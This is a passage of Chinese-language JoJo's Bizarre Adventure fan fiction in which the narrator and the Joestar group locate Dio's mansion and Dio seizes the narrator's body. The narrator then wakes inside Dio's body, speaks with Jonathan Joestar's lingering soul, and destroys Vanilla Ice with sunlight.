“月彦,我会给你一个帮手的,他会在两天后过去,如果你不能在两天内将他们搞定,他会去协助你的。”
两天....
这是使用现在日常的交通工具从开罗到这里的时间。
而如果凭借spw财团的“钞”能力,我们如果日夜不歇赶路,到达开罗只需要一天!
我回想起乔斯达先生和我说的紫外线设备仪已经秘密运输至开罗,只觉心突突直跳。
一天的时间差,可能很难再有这样的机会了。
“月彦?”电话那头,dio叫着我的名字,上扬的语调中夹杂着一丝疑问。
“没问题,dio大人,您放心的交给我吧,我会完成我的使命的!”我缓和着心中的悸动,看着远处的医院,努力抑制下唇角的上扬。
“说不定不用上您派来的帮手,我也能完成这个任务。”
而现在,在乘坐好spw财团的私人飞机后,我们终于快要到了开罗。
此时天蒙蒙亮,快要到适合攻击见光死的吸血鬼的好时候。
目前,距离太阳下山还有11个小时。
---
“乔斯达先生,我再确定一下,您现在应该还暂时感受不到dio的气息吧?”
我站在紫色的光线下,看着对面的乔瑟夫·乔斯达。
我们现在正处于一个堆满紫外线照射仪的房间中,这里有大型的紫外线照射仪,也有小型的手持式的紫外线手电筒。
在这个关键的时刻,我为了防止dio可能的上身,就暂且先在紫外线的照射下呆着。
“现在还没有,但是如果距离近一些,说不定我就能感受到dio那令人作呕的味道。现在,我只是知道dio还活着。”乔瑟夫·乔斯达摸着自己脸上伪装的胡子,颇有些不适应。
乔瑟夫·乔斯达的眼睛从一旁的195黑发脸色蜡黄中年男版空条承太郎,看起来很纯良老实身着长袍的商人版阿布德尔,看起来是个小少爷样的棕发花京院典明和大胡子富商波鲁那雷夫的脸上一一略过,最终发出一声低语,“还是年轻人有想法啊。”
我摆摆手,“哪里哪里,毕竟大家的个人特征太明显,而且一看就是外国人。但凡dio存在一点眼线,一进开罗就只有被认出的份。虽然我的变形能力不能作用于他人,但是伪装技术还有,不如稍微做一点点伪装。”
而且,说起伪装,我根本没有乔斯达先生来得大胆,他甚至想全员女装,根本没考虑过他们这样的身材穿起女装多么有违和感。
伊奇在一旁嚼着咖啡味口香糖,时不时抬头看一眼众人发出嗤笑。
波鲁那雷夫摸着胡子,忍了忍,可是看到伊奇挑衅的笑后还是没忍住,“喂!月彦,这家伙怎么能不化妆,我这样的富商出门带一只贵宾犬也很正常吧!”
波鲁那鲁夫说着,试图将一顶白色卷毛假发往伊奇身上套。假发被伊奇毫不犹豫地踹开,它直接扑倒了波鲁那鲁夫的头上,在他头顶的布上上继续放屁。
“啊啊啊,这个是会吸味道的!伊奇,你个死狗!”波鲁那鲁夫掀起了头顶的布,他好不容易被压扁在发网下的银色头发又冒了出来。
银色头发配上他的黑色络腮胡,怎么看怎么怪异。
伊奇倒是不理会波鲁那鲁夫的哀嚎,它轻松跃到了我的身边,神情复杂地看着我。
“嗷呜--”(虽然你的审美在这里,但是你可别给老大我化妆啊,我可不想成为贵宾犬。)
怎么说呢,虽然我已经在伊奇面前当面变身成人,并且用人的语言讲述了一遍我确实生而为人而不是为狗,但是伊奇仍然有一种复杂的眼神看着我的人类形态,然后摇了摇头,继续对我“汪”(作为狗,喜欢当人,你的爱好好怪哦)。
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虽然我听不懂汪汪语,但是从伊奇嫌弃的表情中,我依然意识到了,我已然成为了伊奇眼中的狗,甚至已经因为会变形而单方面被收为下属了。
虽然它不理解我为什么作为狗还要去打dio,但是它现在至少没想着直接趁大家不注意逃跑离开。
或许是咖啡味口香糖给的够多,和想看看同为狗的替身使者(x)到底要做什么吧。
伊奇昂着头,朝我努了努鼻子。我从包中向伊奇献上咖啡味口香糖,拨开了包装递给它。这样子这边算是安分了一瞬。
我转头,看向花京院典明,他现在正是一副阔少的打扮,头上挂着一副名贵的墨镜,手上正拿着一个遥控设备。
见我看来,花京院典明点了点头,“我已经准备好了。”
在这个年代,即使是有钱如spw财团,也无法掌握跨时代的无人机技术。为了远距离确认dio所在的位置,
我们将摄影机捆绑至遥控飞机上,并通过[紫色隐者]来同步影像。
要是有无人机技术就方便多了。
我在内心叹了口气。等我干完这一票,我要投资这项技术,到时候不用打工不再是梦!
“那,我开始了!”花京院典明操作着遥控设备上的操纵杆,随着他的动作,屋外的遥控飞机飞向远方。
乔瑟夫·乔斯达将手按在了一台插着电的电视机上,一阵雪花片后,街道的影像传来。
“没想到真的能行。”波鲁那雷夫凑在旁边,紧紧盯着屏幕。伊奇跳上他的肩,也盯着电视机中的景象。
“接下来是?”花京院典明盯着电视屏幕,没有转头。
我看着屏幕里闪现过的熟悉屋顶,顿了顿,才开口指挥。
“先往东边,没错,现在能看到烧饼摊了,再直飞八个街区,飞到第六个街区的时候小心,那里的电线杆有点高……”
在花京院娴熟的操作下,遥控飞机来到了一座废旧的街区。
空条承太郎拿着我之前乔瑟夫·乔斯达侧写荷尔荷斯的照片,点了点照片角落露出的一点屋顶。
“能对得上了。”他指了指电视屏幕右下角出现的屋顶,话里是全然的确认。
确实,无论是屋顶上一角的野生仙人掌,还是废旧的程度,和照片中的没有什么差别。
乔瑟夫·乔斯达的脸上也变得严肃了起来,“dio……”
而靠近dio的公馆,还有一重阻碍。
“花京院,记得小心那只看门隼!你上升的时候一定要避开它的视线。”
花京院典明点了点头,操作起来更加小心,就在电视屏幕中出现了哪间和照片上一致的公馆时,所有人的表情都变得严肃了起来。
现在可以确定,dio的位置了。
那么下一步,就是前往dio的公馆!
我回头,看着仓库里的一些现代装备,忍不住再次感慨。
真是万能的spw财团!一切的恐惧只会来源于火力不足。
现在,距离太阳下山还有九个小时。
79.命运
一只隼停歇在某处公馆的屋顶上,警惕地凝视着四周。
它是只很漂亮的隼,头上带着像是斗士一般的小小头盔,头盔上还有着三根艳丽的羽毛。
富有光泽的羽翼在阳光下好似染上了一层光辉,尖利的鸟喙、闪着寒光的利爪又为其增添了一丝危险的味道。
此时,约莫是早上八九点,阳光不算强烈,它半眯着眼,目光时不时扫过这个公馆的四周。
它是这间公馆主人忠心的看门鸟,一切试图窥测这间公馆的可疑人士都会在被它的利爪撕毁。
所以,那玩意是什么?
不远处的空中,在远处楼房的缝隙间,一个漆黑的家伙停留了数秒,而后从[宠物店]的视野中消失不见。
那家伙离得并不算近,远在[宠物店]的警惕范围外。
但是,它在窥视这里!一种野性的直觉唤醒了[宠物店]的警惕。它的脖子以着诡异的角度弯曲,绕着公馆飞行一周,确认了没有其他靠近的家伙。所以,绝对是那家伙在窥视!
那一闪而过的家伙......透过它身上的玻璃,[宠物店]看见了里面亮起的射线。
莫名其妙的东西,而且,飞得也太慢了!
仅仅思索了半秒,[宠物店]振翅向那个小小的身影追去--此处的天空是它的地盘,胆敢来这里窥视它主人的玩意它都会将其视作对自己的挑衅。
挑衅自己的家伙一定会明白自己的下场的。[宠物店]的漂亮的眼里闪过一丝嗜血,它脸上甚至露出了一种快意的笑容。
寒冰的气息已经在它体内酝酿,[宠物店]一个滑翔,直接逼近了那个家伙。
不过是漆黑一块的铁疙瘩,丑陋无比,而且飞得很慢。拉近了距离,[宠物店]得以看清那东西的全貌,发出一声刺耳的叫声,心中更是不屑。
它几乎像是猫捉老鼠一般起了戏弄之心,最近靠近公馆的不识趣的家伙少了很多,它也少了许多乐子,觉得自己的爪子都快要生锈了。
“啪!”一个冰锥从[宠物店]口中射出,直直击向黑色铁疙瘩了,眼见那玩意马上就要分崩离析,[宠物店]甚至振翅上飞,不想那玩意的碎片触碰到自己。
“砰。”预期之中的破碎并没有发生,那个黑色铁疙瘩以着一种奇妙的角度进行了翻转,冰锥仅仅擦到了它的侧翼,它快速地失控地下降下去。
但是,还能飞。它又转换了个方向,往另一边飞去。它似乎像是一只垂死的老鼠,已经半边身子被咬了,还慢慢地拖拽着身体逃跑。
愚蠢!
不会容许自己的第二次失误,[宠物店]张开了鸟喙,一颗更加尖锐的寒冰以一种惊人的速度直击铁疙瘩,一击即中。
“桀桀桀!”似乎还是不解气,[宠物店]俯冲而下,锋利的爪子撕碎了铁疙瘩上掉下来的一个内有射线的机子。
无数的碎片从半空中洒落,落入河中,顺流而下,找不回一点踪迹。
昂着头,[宠物店]又回到了公馆的屋顶上。阳光照在它漂亮的羽毛上,更显神气。
瓦尼拉·艾斯收回了按着帘子的手,最后的一点光线消失,整个走廊再次陷入一片黑暗之中中。
看来仍是没有任何异样,一切照常进行。
瓦尼拉·艾斯收回了视线,内心感到一阵奇异的平静。他效忠于一个世界的帝王,那人是恶人的救世主,而现在,他即将战胜命运的宿敌乔斯达家族,完成新一轮的蜕变。
乔斯达。瓦尼拉·艾斯念着这个姓氏,磨了磨牙,似乎这样就能把乔斯达家的人在齿间碾碎。
这群臭狗屎,竟然敢阻碍dio大人。
如果可以,他恨不得自己插上翅膀,直接飞到月彦汇报的地方,杀进医院,替dio了结一切敌人。
而不是“月彦”哪种半道出现的家伙来做这些。那种只被肉芽控制的家伙,怎么会真正效忠于dio大人,怎么值得dio大人的信任呢?
难以抑制地,瓦尼拉·艾斯内心有些酸涩。但是他随即就振作起来。作为靠近dio大人的最后一道防线,他才更是受dio大人信赖的人。
虽然,没能亲自为dio大人夺取乔斯达家的人的性命令他遗憾,但是能见证dio大人的胜利也……
“还不进来吗?”
是dio大人的声音!瓦尼拉·艾斯的思绪被打断,他近乎迫切地穿墙而过,而后跪倒在了dio的脚下。
“dio大人!”如果可以,他恨不得能有荣幸亲吻dio的鞋面。
他的身前,dio仍然坐在那把椅子上,只是,少见地不再看书。
他的手交掌叠在俊美的脸前方,掌间的缝隙形成一个三角形,透过这个缝隙能看见他紧抿的嘴巴。
见这位忠诚但是脑子不是很好用的下属仍然没有回答他的问题,dio的视线移向了下属毫无防备的脆弱的脖颈,再次开口, “瓦尼拉·艾斯,外面发生了什么?”
即使在公馆的深处也能敏锐察觉外面的动静!不愧是dio大人!
瓦尼拉·艾斯的视线从dio的鞋子上移开,此时才恭敬地仰起头,进行着汇报。
dio大人您放心,并没有什么异常,应该只是那些想要窥伺这里的老鼠,已经被【宠物店】收拾干净了!”
只是老鼠吗?乔瑟夫那家伙即使队伍已负重伤了也不放弃探查他dio的踪迹吗?
而且是【宠物店】负责处理了话,恐怕连残骸都没有留下。这样子怕是连线索都没法寻找。
dio用手指点了点眉心,锋利的指甲比起指腹更早触及皮肉,坚硬的触感与脆弱的大脑靠近,让他的有些躁动的情绪冷静了下来。
或许人们在靠近胜利时总是难免紧张的,即使是他dio也不会例外。
他有一种直觉,他与乔斯达家族宿命般的纠缠马上就能解开。
那么,胜者毋庸置疑,是他dio!
就算“月彦”不一定真的能替他终结宿命,但是他派出的替身使者也能助推宿命的终结。
dio交叠的双手松开,他摩挲了一下自己的嘴唇。
即使乔斯达家族真的有
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一些运气在身上,没有直接在医院死亡,他们带着残破的身体来与养精蓄锐的他dio来进行作战,也无疑是自寻死路。
脖颈处的伤痕还在发痒,这具掠夺而来的身体马上就要归属于他,现在恐怕只是在为他子孙的宿命而哀嚎而已。
应该就是如此才对。可是,为什么,他总感觉有事超了自己的预料。
dio捏着自己的唇瓣,手不自觉地用力,让他清醒了些许。
他的直觉向来很准确,他是一个强运的人,命运总是眷顾于他,因此,他对于自己这种突然冒出的直觉总是会慎之又慎的前去验证。
难道乔斯达家族的人又撞上了什么好运?能得到不一般的机遇,从而对他dio造成威胁?
这样的念头一出来就在dio心里扎下了根。
他看着房间中由于瓦尼拉·艾斯穿墙而过造成的孔洞,又看了看满脸忠诚的瓦尼拉·艾斯,发出了一声奇妙的叹息。
“瓦尼拉·艾斯,靠近点……”
伴随着dio的话语,瓦尼拉·艾斯兴奋地浑身颤抖,膝行爬向了dio。
还没等他说什么时,他就感觉自己的呼吸变得粗重,生命力不断丧失。他转头一看,发现了根源。
原来是dio将手插入了他的脖子中,源源不断的血液从他的脖颈处输送到了dio体内。
这简直……简直太棒了!
看着dio变得更加充满力量的样子,瓦尼拉·艾斯真甚至一面擦着脸上过于兴奋的泪水,一面再向dio贴近。
饶是dio,也没料到他这样的举动。
他沉默了片刻,在瓦尼拉·艾斯的目光中收回了手,锋利的指尖微微划过自己小臂,几滴血滴入了瓦尼拉·艾斯脖颈处的伤口中,让他瞬间倒地痛哭,半晌才回过神来。
“瓦尼拉·艾斯,你的忠诚我认可了。现在,你已经彻底成为我dio的下属了,我允许你现在守在那里替我把守这间房间的门。”
dio的手指着墙上的孔洞,直看到瓦尼拉·艾斯一脸兴奋地站在洞前并不回头时,他才收回了手,合上了眼睛。
如果命运站在他dio身边,即使现在是白天,那它就该让他顺利的再次睁开眼——在“眼”的体内睁开。
*
“呼……你绝对能当个王牌飞行员吧花京院”
看着电视屏幕里消失的画面,我松了一口气,拍了拍花京院典明的肩膀。
刚刚无论是临时变换遥控飞机的角度,还是想到直接毁灭于河中免得dio察觉异样,这一系列操作难度不言而喻。
更何况他只是靠着电视屏幕的影响来操纵几公里外的遥控飞机,这种操作即使说出去别人也不信啊。
波鲁那雷夫摸了摸自己的脸,看着花京院,瞪大了嘴,“其实绝对不会和你这家伙玩O天堂的飞机作战的!”
什么啊,这都哪到哪啊?
花京院典明笑着,本想说点什么回怼,却忽然发现有什么不对。
原本开着的那盏紫外线照射灯是怎么熄灭的?
80.替换
在来到月彦身体的0.5秒内,dio就感受到了一阵熟悉的剧痛。紫外线带着就像是岩浆,倒入了他灵魂之冢,使他沸腾、翻滚。
---[The World]--
让时间停滞!
[世界]从dio背后出现,直接握拳打烂了身后运作的紫外线照射仪。
紫外线消失,dio松了一口气,但是之前的痛苦依旧啃食着他。
剧痛中,dio看着四周的场景,大脑飞速运转!昏暗的仓库,特意开着的仪器,以及进行了伪装的乔斯达一行人!
一切都很不妙。
月彦那家伙,怎么会在紫外线下特意呆着!而且波鲁那雷夫还活着,花京院典明也根本没有受伤!这和月彦所汇报的东西完全不同!
她背叛了我!
刹那间一道灵光在dio的脑子里掠过,照亮了始终隐没在黑暗中的角角落落。十分蹩脚的情报水平,灰塔被袭,恩雅的提示,飞机上与空条承太郎的相遇,dio一下子都回忆起来了。
dio本就聪明,此时还有什么猜不到呢?
月彦这家伙恐怕是一开始就背叛了他,他种下的肉芽并没有完全控制住她;又或者,月彦这家伙原本就是乔斯达家族派来的卧底。
呵,他dio竟然会被这样的伎俩诱骗到。
dio低下头,眼神幽深,里面似乎能吞噬万物,他的手移至锁骨处。
残存的肉芽,似乎能感应到来自灵魂的气息,被他触摸也并不反抗,反而乖顺地顺着他dio手中的力道,彻底地抽离这一身体。
就在肉芽彻底离开这座身体的那一刻起,dio感觉有一扇奇异的大门在他面前打开。
这具身体,如果说以前是上了锁的门,只有自己带着钥匙才能开启,那么现在,门上的锁已经拆除,只要自己想,它随着会为自己的到来而敞开大门。他dio已经能在两具身体内畅通无阻地通行了!
他dio不愧是被上天眷顾的,得到的秘术一定是最和心意的,发现背叛的时机也是最及时的。
他能感觉这句身体的细胞不断加速生长,身体变得有些发热,锁骨处泛着痒意,看来是在迎接新主人的到来。
“wryyy,月彦,你还真是我的好眼睛啊......”
在暂停的时间内,dio忍不住笑出了声。
如果没有她的背叛,他还不一定能这样深入在乔斯达的阵营内,从而直接击溃他们。
他的眼睛在四周缓缓转过,停滞的时间内,众人的表情就像被树脂包裹着的临死的昆虫,被好好的留存着。还有一只不认识的狗对着他的方向,莫名皱着眉头。
是哪来的野狗吧。
dio没有理会,只是细细地观察着变装过后的那群家伙的表情。
呵,他们脸上充满希望的表情可真是让人恶心。
现在,就让他dio夺去他们这些可悲的希望吧。
dio走到花京院典明的身前,勾起了嘴角。在这个仓库里,花京院典明和波鲁那雷夫可全都在他[世界]的射程范围内啊。
四秒钟已到,时间,就继续流动吧。
*
紫外线照射仪究竟是什么时候被关上的?
花京院典明下意识像那仪器的方向看去,身后却传来伊奇警惕的叫声!
他突然听见一声巨响,视线还没来得及捕捉到什么,整个人就像被凭空而来的力量袭击,身体向后直直飞去。
“法皇之绿!”
花京院典明下意识叫出了自己的替身,[法皇之绿]的触手拉住了一旁的桌子的腿,只是向后的冲击力太大,桌子都被拉得后移了两米。
但好在有这个作为缓冲,花京院典明仅是一个踉跄,还是勉强站直了身体。他摸了摸自己的腹部,还好,似乎肋骨还没断。
黑发女人带着极其轻蔑的表情把目光转向花京院典明,看着后者警惕地对视过来。
“哦呀,真遗憾,这具身体我还没好好开发,竟然让你还能活着。”
黑发女人耸了耸肩,背后出现了黄色的人型替身。
虽然还是一样的外貌,但是这股邪恶的气息还有这个见过一次的替身,他是“dio!”
乔瑟夫·乔斯达发出一声怒吼,他警惕地看着那个充满邪恶气息的家伙,紫色的藤蔓替身从手中伸展而出,抓着离dio最近的波鲁那雷夫和空条承太郎向后退去。
“小心,先不要靠他太近。”
乔瑟夫·乔斯达警惕地看着被损坏的紫外线照射仪,回头看了一眼已经站了起来的花京院典明,又问道,“花京院,你还好吗?”
“我没事,乔斯达先生。”
花京院站直了身体,又看向dio不远处地上的半截肉芽,目光微微瞪大,步子悄声像一旁迈去。
dio这家伙,究竟是什么时候占据“月彦”的身体,而且,他是什么时候毁坏的紫外线照射仪?
怎么会动作这么快,就像是在一瞬间发生的事情一样。
在场,除了dio,所有人的心中都有着这样的疑惑。
而且,最重要的问题是,按照之前“月彦”的猜想,一旦肉芽被提前拔出,她的身体就会完全受到dio控制。现在,dio已经出现,而她,又在哪里呢?
伊奇看着气息骤变的黑发女人,只觉得毛发竖起,全身肌肉紧紧地绷紧。它尾巴夹紧,低伏着身体,试图走到角落里躲藏。
什么,这就是乔斯达们的敌人吗?这样令人作呕的强大气息,绝对,绝对是打不过的好不好!它可都根本没看清它的动作呢!
它才不会犯傻跟他们在这里了,绝对,绝对会没命的!
现在就装成普通的狗狗溜走吧。
反正那个叫“月彦”的狗也跟它没什么关系,只要它愿意,去外面再收一些下属就行了。
同样都是替身使者的狗也没什么稀奇的嘛。
也不稀奇吧......
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不再想下去,伊奇正准备抬脚离开,却觉得自己的脚很重,像是根本无法抬动一样。
可恶,快走啊,干嘛还要犹豫呢。
“你,难道是和[宠物店]一样是替身使者吗?”
在它还在犹豫之际,一道令人不寒而栗的目光落在了它的身上。伊奇猛地抬起头,就看见黑发女子嘴角勾起,甚至露出了一对尖利的牙齿。
这个下意识的反应让dio点了点头,“是动物的直觉还是真的听得懂人话的替身使者呢?”
dio撑着自己的脸,露出若有所思的表情。
“快走开!”
还没来得及反应,伊奇的身前已经出现了那个黄色的人型替身--那是dio的替身!
空条承太郎发出一声急促的怒音,[白金之星]移动到伊奇旁,与[世界]对拳,波鲁那雷夫趁机抓起了伊奇跑开。
“喂,你平时不是很机灵的,现在怎么变傻了!”他将伊奇抛给了身后的乔瑟夫·乔斯达,转身召唤了[银色战车]。
“dio,这回我可会将你碎尸万段的!”身着银色盔甲的骑士拿起西洋剑,一个突击加入战斗。
这群家伙,干嘛还要救它,明明它都打算逃跑了岂可修。
伊奇望着与dio对战的两人,表情有点复杂。
人类,真是蠢货。
那头的[世界]收回与[白金之星]的对拳,一个闪身躲开了波鲁那鲁夫的突刺,回到了dio的身边。
“呵,原来也就这个水平吗?乔纳森的子孙也不过如此。”他抱着双手,轻蔑的目光又落在了波鲁那雷夫的身上。
虽说面上淡然,但是dio内心却有些惊讶。他现在虽然有月彦情报不靠谱的预期,但是,这也过于不靠谱了。
无论是力量、速度,恐怕空条承太郎的[白金之星]并不在它的[世界]之下。她竟然把这称为体虚。
dio几乎快要怒极反笑,他警惕地盯着对面,一时间倒也不敢轻易靠近他们,以防突袭。
“你这个替身骨质疏松的家伙说什么呢?”
空条承太郎冷冷地看着他,扭了扭手,发出清脆的声音。[白金之星]冷冷地盯着他,随时准备进攻。
这个距离,这个警惕性,再加上后面的一群替身使者,一时间倒真是寻不上破绽。
dio抿着嘴,忽然冷笑了起来,“说起来,你们还真是冷血,这具身体原先的主人可是彻底死亡了?再攻击我是不打算给那个可怜的家伙留个全尸吗?”
看着众人猝然瞪大的双眼和一时展露的破绽,dio不由露出满意的神情--他可没有说谎,这具身体里已经没有那个薄弱的家伙灵魂的气息了。
就是现在,[The world]!让时间停滞!
*
“你是谁?”
我觉得脑袋昏昏沉沉,整个人像被扔进了滚筒洗衣机里面搅和了很久,有一种想要吐的感觉。
现在,是谁在问我?
81.落幕(1)
是谁在说话?
好想吐。
我感觉自己被什么东西挤在了一个小小的角落,不得不蜷缩着自己。而那个东西还一直絮絮叨叨的问话。
“你是谁呢?”
啊,怎么又重复了一遍。
我是谁可是一个哲学上高深的问题,别在现在问我啊。因为我现在可是有要紧的事情要做。
要紧的事情!
我的思绪忽然变得清明,从混沌的脑子中一道灵光闪现--对了!我是想提醒大家的!dio占据了我的身体,一定要小心!
急迫的念头迫使我睁开了双眼,但是眼前的场景却让我一时哑然。
这里,不是我所在的仓库。花京院和承太郎还有乔斯达先生都不在这里。
身下是舒适的椅子,旁边是一个由看起来就价值不菲的书桌,上面放着几本看过的书籍,其中还夹着什么东西作为书签。
这个陈设也太眼熟了。
我内心有了一种奇异的猜想,低下了头看着自己的身体。
不,这应该是dio的身体才对。
我摸着身上的黑色紧身衣和黄色开裆裤,心沉了下来。这么奇怪的审美,绝对是dio的身体。
所以现在的情况难道是dio占据了我的身体,我反而转移到dio的身体里了。可是在之前dio占据我的身体的时间内,我的意识似乎还是在我自己的身体里的。
dio绝对不知道这件事,以他的性格,他不会让别人占据他的身体。
发生这样变化的契机是什么呢?
现在一定要快点找出来,然后去乔斯达先生那里,dio彻底占据我的身体,绝对会第一时间攻击乔斯达先生他们的。
而我们,现在,连dio的替身[世界]的特殊能力是什么还不明白。
必须马上行动起来。
我站了起来,小心地观察四周。
但是脑袋里的声音又响了起来,“你,不是dio吧?”
不是啊,原来这个声音不是我的幻听吗?是dio的第二人格吗?没想到dio也有这种反派标配的精神分裂吗,怪不得审美这么差。
我没有出声,只是开始翻起了周边的书籍,顺便在脑中应付起那个声音。
关键的东西一般都会放在身边吧,从dio平常用的东西应该能找到一点线索。
“不管怎么说,问别人是谁前应该先介绍一下自己吧。”
我这么在脑内说了,那个声音反而沉寂下来,像是在思索着什么。我享受着片刻的安静,快速浏览旁边的书籍,
啧,怎么有的是霓虹语,有的是英语,能不能考虑中文母语者的感受啊。
这本不是,只是睡前读物吧;这本是什么,工具性书籍吗?有什么和替身能力有关的吗?
我翻到了最底下的书籍,那是一本古老的书籍,封面的手感像是皮质的,或许是羊皮?
我一翻开书,书籍就展开在了含有一个书签的一页。说是书签,其实并不恰当,那是一张塔罗牌,那里显现着半透明的图案。
这牌,是,世界!
世界在塔罗牌中代表着终结与新生的交汇,是对所有已知和未知力量的整合,也意味着新的开始和无限的潜力。dio将这样的塔罗牌夹在这里,必然有深意。
我将这张特殊的塔罗牌放在手上,看起了书页中的内容。这里记载着一种古老的秘术,教人如何掌握他人身体的使用权。
首先是要和那人定下承诺,而后通过特定的条件来开启彻底的控制。
而实施秘术的条件极为苛刻, 1.符合条件的肉ti 2.强韧的灵魂 3.对该肉ti强而有力的控制。
有细小的划痕出现在这里的文字下方,像是看书时用指甲划过的痕迹。啧,看来这就是dio控制我rou体的方法了。
这么说dio彻底掌握我身体契机的条件应该是彻底拔出我体内的肉芽。
可恶!这样子我还能回到我的身体吗?现在该怎么知会乔斯达先生他们呢!我还没找到关于dio替身的线索呢!
呼,冷静,快想点办法。
我深深吐出一口气,正准备放下书籍,脑海中的那个声音又开始说话了,“我没有感受到你灵魂中邪恶的气息,你不是dio.....”
我当然不是那个变态的家伙了,这家伙现在才反应过来吗?
我转头看了一眼远处空无一人的地方,微微皱起了眉头。虽然没有看到人,但是,我好像能感觉到那里有人的存在。是守卫dio的替身使者吧!
难道那人察觉出什么异常了,不至于吧。
那我的动作还得再小些,按着dio之前的样子行事,快速但是小心地探查着关于dio替身的秘密。
等等,既然这家伙也在dio的身体里,说不定是dio的第二人格了话,那么关于dio的替身能力他应该会有些印象吧!而且按照他对于dio的形容是邪恶,恐怕也不会倾向于dio。
那么,“你知道关于dio的替身的情况吗/我的名字是乔纳森·乔斯达,我是被dio占据的这身体的原主人。”
两道声音同时在脑内响起,相撞的效果如同雷鸣,让我一时间反应不过来。
等等,乔纳森·乔斯达?这不是乔斯达先生的爷爷,承太郎的曾祖外祖父!原来不是dio体内的第二人格,而是这具身体原来主人残存的灵魂吗?
他是一直存在于这具身体里吗?
“替身?”乔纳森·乔斯达的声音带着些许困惑。
咦,难道他是最近才苏醒的吗?我以前调查的资料来看这位乔斯达先生的爷爷应该是波纹战士,看来是没接触过替身。难道在dio的压制下,他从来没醒过来吗?这样就糟糕了啊。
我一时间不知道接下来该说什么,忍不住炸了眨巴眼,却忽然感到一个异样的气息靠近--一个人忽然凭空从一具像是野兽一样的替身的口中钻出。
还没等我一掌劈过去,他就恭恭敬敬地从替身里面爬出来,单膝跪在我身前,“dio大人,您还有什么吩咐吗?”
这家伙,究竟是什么替身能力,完全是凭空出现啊。
我强忍内心的惊愕,努力使自己的声音保持淡然,只是在话的末尾略微带上一点不满,“现在这里还用不着你,你难道忘记了我之前给你的命令吗?”
那人没有抬头,只是话中带上了些惶恐,“dio大人,我听见您叹气,还担心您需要我,这是我的不对!我会继续去把守这个房间的!”他说完,就又要将自己塞进替身的嘴中。在人完全进入替身的嘴中后替身又将自身完全吃下。
原来是靠这种方式隐藏存在的吗?
我心下明了,只是觉得这方式令人胆寒,看着他要完全离去,我开口叫停,“等一下。”
他的动作瞬间停止了,脑袋又从替身中露出来,看了我一眼,又从替身中麻溜地爬了出来。
从他刚刚的表现来看,他应该对dio十分忠诚,甚至达到了愚忠
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的地步,而dio能允许他离自己这么近,怕是也很信任他。
那么,他或许能了解一些dio的替身。
我想着,模仿着之前dio的样子,坐会椅子上,翘起了一只腿,只是将目光漫不经心地放在了地上那人的身上。“你能察觉到我的情绪,不错嘛....”
不等他再说什么,为了防止话题走偏,我又继续接着自己的话,顺便为身体内的乔纳森·乔斯达解释。
“乔斯达家族和我是命运的宿敌,一百年前我拿走了乔纳森·乔斯达的rou体,一百年后,他的子孙又因为家人受替身觉醒而要死亡的原因想来消灭我。这样宿命的纠缠让我感到厌烦。替身是使用者精神力的表现形式,在现在,我也会开始担心自己的替身是否强到能打败他们。”
乔纳森·乔斯达陷入一片肃穆中,让我几乎要认为他要消失了。也是,他的话就是他内心光明磊落的自然流露,这样的人面对自己的仇人夺去自己身体作恶还祸害自己的子孙,一时间心情复杂也是能理解。
只是,现在时间太紧张了,我根本没法去安慰他。我说完话,使自己的眼神中带着一丝忧愁,然后看了脚下的人一眼便收回视线。
这话和这套动作,显然对dio的死忠粉尤为好用。地上的那男人立马抬起头,一手放在胸口上,眼神狂热的看着我,“dio大人的[世界]是这个世界上最强的替身,乔斯达家根本不能与您的一根脚指头相媲美!”
好,看来他知道dio的替身能力!
“ho~”我不可知否地哼了一声,又仰头靠在椅子上,“那你说我的替身能怎么战胜他们呢?仅凭借我的替身能力吗?”
快说吧,话已经喂到你嘴边了!
那人似乎忍受不了任何人对于dio的负面评价,甚至是dio自己说的也不行。
“dio大人您能暂停时间的能力足以成为整个世界的帝王!而且,乔斯达那群臭虫根本用不上您出手,如果他们胆敢靠近您,我瓦尼拉·艾斯的[亚空瘴气]也会将他们吞噬殆尽!”
暂停时间!?太bug了吧这能力!
我回想之前与dio对战的情况,却不能不承认,这样强劲到不和常理的能力,或许真的是dio的替身能力。
糟糕,乔斯达先生他们根本不知道这条情报!面对这样的能力他们该怎么对付呢?
得先知道外面的情报才行。
我眯了眯眼,沉下声来,看向地上的那家伙,“瓦尼拉,替我拉开帘子,查看一下外面的情况。”
dio占据的房间应该是原本公馆中最大的寝室,还是有着窗户,只是紧紧拉着帘子。
瓦尼拉·艾斯靠近窗户,正准备小小地掀起帘子查看,背后又传来dio大人的声音,“拉大点查看,我已经站在了安全的地方。”
瓦尼拉·艾斯的手已经掀开了帘子的一角,他正准备探头过去,却觉得有些不对劲。
dio大人怎么会允许阳光出现在他的房间内呢?就算有一点点也是不被允许的。
瓦尼拉·艾斯回过神来,但是现在,已经晚了。
一个身影站在他身后,一手掀开了窗帘,一手将他的脑袋按在了窗户旁。
正好的阳光穿过窗户,全然照在了瓦尼拉·艾斯的身上,他没来得及思考到底为什么,整个人就化成了粉末。
“果然,他被变成了吸血鬼啊。”
我小声的呢喃,看着自己手上被太阳灼伤的痕迹,又将自己躲入了阴影中。
82.落幕(2)
毕竟我也当过一段时间的食人鬼,对于鬼的气息还是比较敏感的。
这个瓦尼拉·艾斯已经被dio转化成鬼了,虽然看他的表现,他自己还不知道。刚转化的鬼,似乎对于阳光还是比较没有抗性,在即将正午的阳光下暴晒半分钟,就足以灰飞烟灭了。
我看着自己手臂上狰狞的灼伤,它正在缓缓的修复,按这个速度来看,完全修复至少需要5分钟。仅仅是在他人身后躲着时候被晒到的太阳,就有着这样的威力,太阳果然都是食人鬼的天敌。
而且,现在还没到正午,想来正午的阳光有着更好的效果。
那么,决不能拖到天黑,天黑就会变成dio的主场了。
现在,我得出去,去乔斯达先生那边,我的身体还在那里!dio绝不会走出那间仓库的。
“叮--”
我的手按着桌上的一个小小的按钮,清脆的铃声响起,穿着白色西服的泰伦斯·T·达比敲了敲门,随后恭恭敬敬地走了过来,单膝跪在我的身前。
“dio大人您有何吩咐。”达比的声音富有磁性,彬彬有礼地对dio行了个礼。乔斯达家族即将覆灭的消息已经传来,自己侍奉的主人将要打破宿命的桎梏,成为世界最终的霸主,达比实在难以抑制内心的激动。
但是。
“给我弄辆车,我要出去。”
达比回想着外面艳阳高照的天气,忍不住抬头仔细端详着面前表情冷峻的dio。
“可是......”
“别问那么多,给我开车去一个仓库里,其他的闭嘴。”泰伦斯·T·达比是个识时务的人,看着dio没有商量余地的表情,他知道现在无法反驳,无法问自己明智的主人现在去外面的艳阳天是要送死吗?
dio大人应该有自己的想法,他最终只能告诉自己这一点。
